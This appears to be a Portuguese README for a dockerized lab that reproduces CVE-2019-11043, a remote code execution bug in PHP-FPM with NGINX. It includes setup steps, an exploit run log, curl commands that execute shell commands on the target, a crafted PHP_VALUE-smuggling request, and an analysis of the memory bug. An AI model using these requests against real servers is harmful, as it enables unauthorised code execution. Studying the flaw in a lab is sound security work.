
Exploit Python dockerizado para CVE-2019-11043, uma vulnerabilidade crítica de execução remota de código no PHP-FPM em configurações do NGINX. Inclui configuração, uso e análise detalhada.
Uma implementação em Python do exploit CVE-2019-11043
O exploit registrado como CVE-2019-11043 tira proveito de um bug na implementação do PHP-FPM em conjunto com um servidor NGINX. Em certas configurações, uma expressão regular no path_info do FastCGI faz com que o módulo FPM escreva além dos buffers alocados, no espaço reservado para os dados do protocolo FastCGI. Como resultado, um usuário web pode executar código remotamente. A tabela a seguir mostra a avaliação da severidade do exploit de acordo com o Common Vulnerability Scoring System (CVSS).
| Métrica | Valor |
|---|---|
| Pontuação de Impacto | 5.9 |
| Pontuação Base | 9.8 |
| Severidade | Crítico |
| Vetor de Acesso | Rede |
| Confidencialidade | Alto |
| Integridade | Alto |
| Disponibilidade | Alto |
Imagens Docker:
Python:
É necessária uma instalação do Docker e do docker-compose para executar o projeto.
Ao executar o seguinte comando a partir do diretório raiz do projeto, todas as imagens docker necessárias serão baixadas e os contêineres serão iniciados na ordem correta:
docker-compose up
Para executar a configuração como daemon, execute o seguinte comando:
docker-compose up -d
Para interromper uma inicialização daemonizada, execute o seguinte comando:
docker-compose down
Exemplo
# docker-compose up -d
Creating php ... done
Creating nginx ... done
# python3 exploit.py --target http://localhost:11043/index.php
🚀🚀🚀 Starting...
? Requesting target to find qsl candidates.
[Response] Status sode is 502 for QSL 1761. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1762. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1763. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1764. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1765. Meets criteria and added as candidate
Post processed QSL candidate(s): 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765
⚙️ Testing found candidates
[Test] QSL Candidate: 1751
[Test] QSL Candidate: 1752
[Test] QSL Candidate: 1753
[Test] QSL Candidate: 1754
[Test] QSL Candidate: 1755
💣 Target seems vulnerable with attack parameters: (QSL:1755/HVL:8): PHPSESSID=b83281b19399d7725091ad4b2b20e530; path=/
✅ Success: Remote Code Execution exploit successfully deployed!
You should be able to run commands using:
🌍 curl http://localhost:11043/index.php?a=bin/ls+/
or
🌍 curl http://localhost:11043/index.php?a=%0asleep+5%0a+/
Essa vulnerabilidade foi encontrada durante a rodada de qualificação do Real World CTF 2019, quando Andrew Danau, um pesquisador de segurança, descobriu que o envio de um caractere de controle de nova linha %0A resulta em uma exceção no código do servidor.
A expressão regular na diretiva fastcgi_split_path_info pode ser quebrada usando o caractere de nova linha (na forma codificada, %0A). A expressão regular quebrada leva a um PATH_INFO vazio, o que dispara o bug.
Como env_path_info é o endereço da variável path_info, path_info é 0, então pilen também é 0. slen é o comprimento da URL solicitada.

Usando um comprimento cuidadosamente escolhido do caminho da URL e da string de consulta, um atacante pode fazer path_info apontar precisamente para o primeiro byte da estrutura _fcgi_data_seg. Colocar zero nele move o campo char* pos para trás, e em seguida FCGI_PUTENV sobrescreve alguns dados (incluindo outras variáveis fast cgi) com o caminho do script. Usando essa técnica, a vulnerabilidade permite criar uma variável FCGI PHP_VALUE falsa e, em seguida, usar uma cadeia de valores de configuração cuidadosamente escolhidos para obter execução de código.

int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;
len é o comprimento do caminho da URL
http://localhost:11043/index.php/TUD%0aNetSec.php/var/www/html/index.php/TUD\nNetSec.phpptlen é o comprimento do conteúdo, antes da primeira barra no caminho da URL
http://localhost:11043/index.php/TUD%0aNetSec.phppt é /var/www/html/index.phpA diferença entre as duas variáveis "len" e "ptlen" é o comprimento do caminho especificado na URL. Como o caminho desses dois pode ser controlado, a variável path_info também pode ser controlada.
Como o caminho é controlável, podemos definir o valor de qualquer endereço para zero (Linha 1222). Ao definir o valor do endereço alvo para zero, podemos controlar o char* pos da estrutura _fcgi_data_seg para zero. Com essa abordagem, exploramos um buffer underflow e somos capazes de escrever variáveis globais no espaço de memória correto.
O hash e o comprimento são comparados antes das chaves. Escolhendo cuidadosamente os cabeçalhos e chaves certos, conseguimos adicionar usando cabeçalhos. De acordo com as descobertas de neex, a string "ebut", que se torna HTTP_EBUT, tem o mesmo comprimento e valor FCGI_HASH que PHP_VALUE. Dessa forma, enviando uma requisição GET ao servidor semelhante a
GET /index.php/PHP_VALUE%0Asession_start=1;;;
EBUT: tudda nwsec
o cabeçalho HTTP_EBUT se torna PHP_VALUE e o valor session_start=1.
A lista a seguir fornece ao atacante os pré-requisitos necessários que devem ser satisfeitos para implantar o ataque.
Na primeira etapa, precisamos encontrar um comprimento de query string no qual um caractere de controle de nova linha %0A resulta em uma exceção no código do servidor e faz com que o servidor responda com um código de erro HTTP > 500. Com base nessas informações, podemos tentar escrever PHP_VALUE e controlar seu conteúdo. Primeiro, tentamos configurar uma sessão. Se isso for bem-sucedido, percebemos a vulnerabilidade do servidor. Nesse ponto, sabemos que somos capazes de controlar qualquer variável global no PHP.